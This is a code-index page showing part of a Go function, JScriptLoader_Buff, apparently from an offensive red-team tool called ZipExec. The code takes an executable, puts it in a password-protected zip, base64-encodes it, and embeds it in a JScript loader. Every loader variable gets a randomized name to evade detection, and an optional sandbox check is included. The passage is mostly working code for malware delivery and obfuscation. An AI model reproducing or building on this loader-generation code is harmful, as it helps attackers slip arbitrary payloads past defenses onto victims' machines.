MCPcopy Index your code
hub / github.com/Tylous/ZipExec / JScriptLoader_Buff

Function JScriptLoader_Buff

Loader/Loader.go:58–150  ·  view source on GitHub ↗
(name string, outFile string, sandbox bool)

Source from the content-addressed store, hash-verified

56}
57
58func JScriptLoader_Buff(name string, outFile string, sandbox bool) string {
59 var buffer bytes.Buffer
60 filename := name
61 base := filepath.Base(name)
62 sourcename := strings.Split(base, ".exe")
63 name = sourcename[0]
64 fmt.Println("[*] Creating Zip File Password")
65 password := Cryptor.VarNumberLength(7, 10)
66 fmt.Println("[+] Password is: " + password + "")
67 zipfile := name + ".zip"
68 fmt.Println("[*] Zipping Binary")
69 Zipit(filename, zipfile, password)
70 fmt.Println("[*] Encoding Binary")
71 f, _ := os.Open(zipfile)
72 reader := bufio.NewReader(f)
73 content, _ := ioutil.ReadAll(reader)
74 encoded := base64.StdEncoding.EncodeToString(content)
75
76 SandboxJScript := &SandboxJScript{}
77 SandboxJScript.Variables = make(map[string]string)
78 JScriptLoader := &JScriptLoader{}
79 JScriptLoader.Variables = make(map[string]string)
80
81 JScriptLoader.Variables["fso"] = Cryptor.VarNumberLength(4, 12)
82 JScriptLoader.Variables["dropPath"] = Cryptor.VarNumberLength(4, 12)
83 JScriptLoader.Variables["value"] = Cryptor.VarNumberLength(4, 12)
84 JScriptLoader.Variables["strRegPath"] = Cryptor.VarNumberLength(4, 12)
85 JScriptLoader.Variables["WshShell"] = Cryptor.VarNumberLength(4, 12)
86 JScriptLoader.Variables["objShell"] = Cryptor.VarNumberLength(4, 12)
87 JScriptLoader.Variables["filename"] = name + ".zip"
88 JScriptLoader.Variables["objFolder"] = Cryptor.VarNumberLength(4, 12)
89 JScriptLoader.Variables["FileExt"] = Cryptor.VarNumberLength(4, 12)
90 JScriptLoader.Variables["ssfPROGRAMS"] = Cryptor.VarNumberLength(4, 12)
91 JScriptLoader.Variables["w"] = Cryptor.VarNumberLength(4, 12)
92 JScriptLoader.Variables["WindowsUnZip"] = Cryptor.VarNumberLength(4, 12)
93 JScriptLoader.Variables["objFolderItems"] = Cryptor.VarNumberLength(4, 12)
94 JScriptLoader.Variables["objFolderItem"] = Cryptor.VarNumberLength(4, 12)
95 JScriptLoader.Variables["FileName"] = name
96 JScriptLoader.Variables["dllext"] = ".zip"
97 JScriptLoader.Variables["dll_code"] = encoded
98 JScriptLoader.Variables["characters"] = Cryptor.VarNumberLength(4, 12)
99 JScriptLoader.Variables["base6411"] = Cryptor.VarNumberLength(4, 12)
100 JScriptLoader.Variables["rtest"] = Cryptor.VarNumberLength(4, 12)
101 JScriptLoader.Variables["atest"] = Cryptor.VarNumberLength(4, 12)
102 JScriptLoader.Variables["ctest"] = Cryptor.VarNumberLength(4, 12)
103 JScriptLoader.Variables["etest"] = Cryptor.VarNumberLength(4, 12)
104 JScriptLoader.Variables["htest"] = Cryptor.VarNumberLength(4, 12)
105 JScriptLoader.Variables["ttest"] = Cryptor.VarNumberLength(4, 12)
106 JScriptLoader.Variables["BinaryStream"] = Cryptor.VarNumberLength(4, 12)
107 JScriptLoader.Variables["filename1"] = Cryptor.VarNumberLength(4, 12)
108 JScriptLoader.Variables["dll"] = Cryptor.VarNumberLength(4, 12)
109 JScriptLoader.Variables["FileName"] = name
110 JScriptLoader.Variables["binaryWriter"] = Cryptor.VarNumberLength(4, 12)
111 JScriptLoader.Variables["dropPath"] = Cryptor.VarNumberLength(4, 12)
112 JScriptLoader.Variables["res1"] = Cryptor.VarNumberLength(4, 12)
113 JScriptLoader.Variables["TextStream11"] = Cryptor.VarNumberLength(4, 12)
114
115 JScriptLoader.Variables["pathworks"] = Cryptor.VarNumberLength(4, 12)

Callers 1

mainFunction · 0.92

Calls 4

VarNumberLengthFunction · 0.92
ZipitFunction · 0.85
JSfileFunction · 0.85
WScript_SandboxFunction · 0.85

Tested by

no test coverage detected